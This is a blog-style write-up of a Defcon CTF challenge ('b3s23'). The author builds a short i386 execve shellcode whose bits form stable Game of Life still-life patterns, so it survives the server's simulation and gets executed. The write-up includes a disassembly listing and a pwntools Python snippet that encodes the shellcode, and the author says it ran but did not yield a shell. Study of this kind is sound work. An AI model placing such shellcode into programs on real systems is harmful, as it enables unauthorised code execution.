Defcon CTF – b3s23 (partial?)

The server runs a program (game of life) which has a 110 \times 110 board with cells (bits). After a fixed number n of iterations, the simulation stops and the program jumps to the first bit of the memory containing the board. We want to create an input which contains shellcode in this area after n iterations. Obviously, we could choose any shellcode, and run game of life backwards. Cool, let us do that then! Uh-oh, inverting game of life is in fact a very hard problem… so it is not really feasible 😦

What to do, then?

Game of life

Game of life a cellular automata, found by Jon Conway, and is based on the following rules:

  1. A cell is born if it has exactly 3 neighbours. Neighbors are defined as adjacent cells in vertical, horistontal and diagonal.
  2. A cell dies if it has less than two or more than three neighbors.


Stable code (still life)

Still life consists of cell structures with repeating cycles having period 1. Here are the building blocks I used to craft the shellcode.

Skärmavbild 2016-05-22 kl. 12.51.08     Skärmavbild 2016-05-22 kl. 12.51.19    Skärmavbild 2016-05-22 kl. 12.51.57

Of course, the still life is invariant of rotation and mirroring.

So, I tried to find the shortest shellcode that would fit one line (110 bits). This one is 8 bytes. Great.

08048334 <main>:
 8048334:   99                cltd
 8048335:   6a 0b             push   $0xb
 8048337:   58                pop    %eax
 8048338:   60                pusha
 8048339:   59                pop    %ecx
 804833a:   cd 80             int    $0x80

In binary, this translates to:


Ok, so we note that

110101 ... 01110

cannot be constructed by our building blocks (there most certainly exist such blocks, but I didn’t consider them). So, I use a padding trick. By inserting an operation which does nothing specific

10110011 00000000    mov    bl,0x0

we are able to use the blocks given in previous section. This Python code gives the binary (still-life-solvable) sequence:

from pwn import *
pad = '\xb3\x00'
shellcode = '\x06\x99' + pad + '\x6a\x0b\x58\x60\x59' + pad + '\xcd\x80'
binary_data = ''.join([bin(ord(opcode))[2:].zfill(8) for opcode in shellcode])
context(arch = 'i386', os = 'linux')
print disasm(shellcode)
print binary_data[0:110]

which is


The following cellular automata is stable, and the first line contains our exploit:

Skärmavbild 2016-05-22 kl. 12.56.38

As can be seen in the animation below, we have found a still-life shellcode.


When feeding it to the program, we find that it remains in memory after any number of iterations:

Skärmavbild 2016-05-22 kl. 12.40.41

Nice! Unfortunately, the code did not give me a shell, but at least the intended code was executed. I had a lot of fun progressing this far 🙂

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s